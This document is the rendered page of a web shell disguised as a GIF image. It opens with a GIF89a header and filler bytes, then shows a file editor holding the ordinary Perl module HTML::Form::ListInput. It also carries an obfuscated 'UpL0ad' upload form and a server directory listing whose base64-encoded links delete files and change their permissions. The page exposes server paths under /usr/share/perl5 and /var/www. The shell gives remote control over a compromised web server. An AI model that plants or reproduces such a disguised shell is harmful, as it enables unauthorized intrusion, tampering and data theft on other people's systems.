GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>ListInput.pm<form method=post action="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0%3D&f=TGlzdElucHV0LnBt"><input name="f" value="ListInput.pm"><textarea name="t">package HTML::Form::ListInput;

use strict;
use parent 'HTML::Form::Input';

use Carp 'croak';

our $VERSION = '6.11';

# ABSTRACT: An HTML form list input element for use with HTML::Form

#select/option   (val1, val2, ....)
#input/radio     (undef, val1, val2,...)
#input/checkbox  (undef, value)
#select-multiple/option (undef, value)

sub new {
    my $class = shift;
    my $self  = $class-&gt;SUPER::new(@_);

    my $value      = delete $self-&gt;{value};
    my $value_name = delete $self-&gt;{value_name};
    my $type       = $self-&gt;{type};

    if ( $type eq &quot;checkbox&quot; ) {
        $value = &quot;on&quot; unless defined $value;
        $self-&gt;{menu} = [
            { value =&gt; undef,  name =&gt; &quot;off&quot;, },
            { value =&gt; $value, name =&gt; $value_name, },
        ];
        $self-&gt;{current} = ( delete $self-&gt;{checked} ) ? 1 : 0;

    }
    else {
        $self-&gt;{option_disabled}++
            if $type eq &quot;radio&quot; &amp;&amp; delete $self-&gt;{disabled};
        $self-&gt;{menu} = [
            { value =&gt; $value, name =&gt; $value_name },
        ];
        my $checked = $self-&gt;{checked} || $self-&gt;{option_selected};
        delete $self-&gt;{checked};
        delete $self-&gt;{option_selected};
        if ( exists $self-&gt;{multiple} ) {
            unshift( @{ $self-&gt;{menu} }, { value =&gt; undef, name =&gt; &quot;off&quot; } );
            $self-&gt;{current} = $checked ? 1 : 0;
        }
        else {
            $self-&gt;{current} = 0 if $checked;
        }
    }
    $self;
}

sub add_to_form {
    my ( $self, $form ) = @_;
    my $type = $self-&gt;type;

    return $self-&gt;SUPER::add_to_form($form)
        if $type eq &quot;checkbox&quot;;

    if ( $type eq &quot;option&quot; &amp;&amp; exists $self-&gt;{multiple} ) {
        $self-&gt;{disabled} ||= delete $self-&gt;{option_disabled};
        return $self-&gt;SUPER::add_to_form($form);
    }

    Carp::croak &quot;Assert&quot; if @{ $self-&gt;{menu} } != 1;
    my $m = $self-&gt;{menu}[0];
    $m-&gt;{disabled}++ if delete $self-&gt;{option_disabled};

    # if there was no name we have to search for an input that explicitly has
    # no name either, because otherwise the name attribute would be ignored
    my $prev = $form-&gt;find_input(
        $self-&gt;{name} || \undef, $self-&gt;{type},
        $self-&gt;{idx}
    );
    return $self-&gt;SUPER::add_to_form($form) unless $prev;

    # merge menus
    $prev-&gt;{current} = @{ $prev-&gt;{menu} } if exists $self-&gt;{current};
    push( @{ $prev-&gt;{menu} }, $m );
}

sub fixup {
    my $self = shift;
    if ( $self-&gt;{type} eq &quot;option&quot; &amp;&amp; !( exists $self-&gt;{current} ) ) {
        $self-&gt;{current} = 0;
    }
    $self-&gt;{menu}[ $self-&gt;{current} ]{seen}++ if exists $self-&gt;{current};
}

sub disabled {
    my $self = shift;
    my $type = $self-&gt;type;

    my $old = $self-&gt;{disabled} || _menu_all_disabled( @{ $self-&gt;{menu} } );
    if (@_) {
        my $v = shift;
        $self-&gt;{disabled} = $v;
        for ( @{ $self-&gt;{menu} } ) {
            $_-&gt;{disabled} = $v;
        }
    }
    return $old;
}

sub _menu_all_disabled {
    for (@_) {
        return 0 unless $_-&gt;{disabled};
    }
    return 1;
}

sub value {
    my $self = shift;
    my $old;
    $old = $self-&gt;{menu}[ $self-&gt;{current} ]{value}
        if exists $self-&gt;{current};
    $old = $self-&gt;{value} if exists $self-&gt;{value};
    if (@_) {
        my $i   = 0;
        my $val = shift;
        my $cur;
        my $disabled;
        for ( @{ $self-&gt;{menu} } ) {
            if (
                (
                       defined($val)
                    &amp;&amp; defined( $_-&gt;{value} )
                    &amp;&amp; $val eq $_-&gt;{value}
                )
                || ( !defined($val) &amp;&amp; !defined( $_-&gt;{value} ) )
            ) {
                $cur      = $i;
                $disabled = $_-&gt;{disabled};
                last unless $disabled;
            }
            $i++;
        }
        if ( !( defined $cur ) || $disabled ) {
            if ( defined $val ) {

                # try to search among the alternative names as well
                my $i = 0;
                my $cur_ignorecase;
                my $lc_val = lc($val);
                for ( @{ $self-&gt;{menu} } ) {
                    if ( defined $_-&gt;{name} ) {
                        if ( $val eq $_-&gt;{name} ) {
                            $disabled = $_-&gt;{disabled};
                            $cur      = $i;
                            last unless $disabled;
                        }
                        if ( !defined($cur_ignorecase)
                            &amp;&amp; $lc_val eq lc( $_-&gt;{name} ) ) {
                            $cur_ignorecase = $i;
                        }
                    }
                    $i++;
                }
                unless ( defined $cur ) {
                    $cur = $cur_ignorecase;
                    if ( defined $cur ) {
                        $disabled = $self-&gt;{menu}[$cur]{disabled};
                    }
                    elsif ( $self-&gt;{strict} ) {
                        my $n = $self-&gt;name;
                        Carp::croak(&quot;Illegal value '$val' for field '$n'&quot;);
                    }
                }
            }
            elsif ( $self-&gt;{strict} ) {
                my $n = $self-&gt;name;
                Carp::croak(&quot;The '$n' field can't be unchecked&quot;);
            }
        }
        if ( $self-&gt;{strict} &amp;&amp; $disabled ) {
            my $n = $self-&gt;name;
            Carp::croak(&quot;The value '$val' has been disabled for field '$n'&quot;);
        }
        if ( defined $cur ) {
            $self-&gt;{current} = $cur;
            $self-&gt;{menu}[$cur]{seen}++;
            delete $self-&gt;{value};
        }
        else {
            $self-&gt;{value} = $val;
            delete $self-&gt;{current};
        }
    }
    $old;
}

sub check {
    my $self = shift;
    $self-&gt;{current} = 1;
    $self-&gt;{menu}[1]{seen}++;
}

sub possible_values {
    my $self = shift;
    map $_-&gt;{value}, grep !$_-&gt;{disabled}, @{ $self-&gt;{menu} };
}

sub other_possible_values {
    my $self = shift;
    map $_-&gt;{value}, grep !$_-&gt;{seen} &amp;&amp; !$_-&gt;{disabled}, @{ $self-&gt;{menu} };
}

sub value_names {
    my $self = shift;
    my @names;
    for ( @{ $self-&gt;{menu} } ) {
        my $n = $_-&gt;{name};
        $n = $_-&gt;{value} unless defined $n;
        push( @names, $n );
    }
    @names;
}

1;

__END__

=pod

=encoding UTF-8

=head1 NAME

HTML::Form::ListInput - An HTML form list input element for use with HTML::Form

=head1 VERSION

version 6.11

=head1 AUTHOR

Gisle Aas &lt;gisle@activestate.com&gt;

=head1 COPYRIGHT AND LICENSE

This software is copyright (c) 1998 by Gisle Aas.

This is free software; you can redistribute it and/or modify it under
the same terms as the Perl 5 programming language system itself.

=cut
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/perl5/HTML/Form<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1M"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&x=RmlsZUlucHV0LnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=RmlsZUlucHV0LnBt"/>FileInput.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=RmlsZUlucHV0LnBt&c=`+btoa(c):0" value="0644"></td><td>2096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&x=SWdub3JlSW5wdXQucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=SWdub3JlSW5wdXQucG0="/>IgnoreInput.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=SWdub3JlSW5wdXQucG0=&c=`+btoa(c):0" value="0644"></td><td>773</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&x=SW1hZ2VJbnB1dC5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=SW1hZ2VJbnB1dC5wbQ=="/>ImageInput.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=SW1hZ2VJbnB1dC5wbQ==&c=`+btoa(c):0" value="0644"></td><td>947</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&x=SW5wdXQucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=SW5wdXQucG0="/>Input.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=SW5wdXQucG0=&c=`+btoa(c):0" value="0644"></td><td>3522</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&x=S2V5Z2VuSW5wdXQucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=S2V5Z2VuSW5wdXQucG0="/>KeygenInput.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=S2V5Z2VuSW5wdXQucG0=&c=`+btoa(c):0" value="0644"></td><td>765</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&x=TGlzdElucHV0LnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=TGlzdElucHV0LnBt"/>ListInput.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=TGlzdElucHV0LnBt&c=`+btoa(c):0" value="0644"></td><td>6597</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&x=U3VibWl0SW5wdXQucG0=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=U3VibWl0SW5wdXQucG0="/>SubmitInput.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=U3VibWl0SW5wdXQucG0=&c=`+btoa(c):0" value="0644"></td><td>1008</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&x=VGV4dElucHV0LnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=VGV4dElucHV0LnBt"/>TextInput.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsNS9IVE1ML0Zvcm0=&f=VGV4dElucHV0LnBt&c=`+btoa(c):0" value="0644"></td><td>1213</td></tr></table>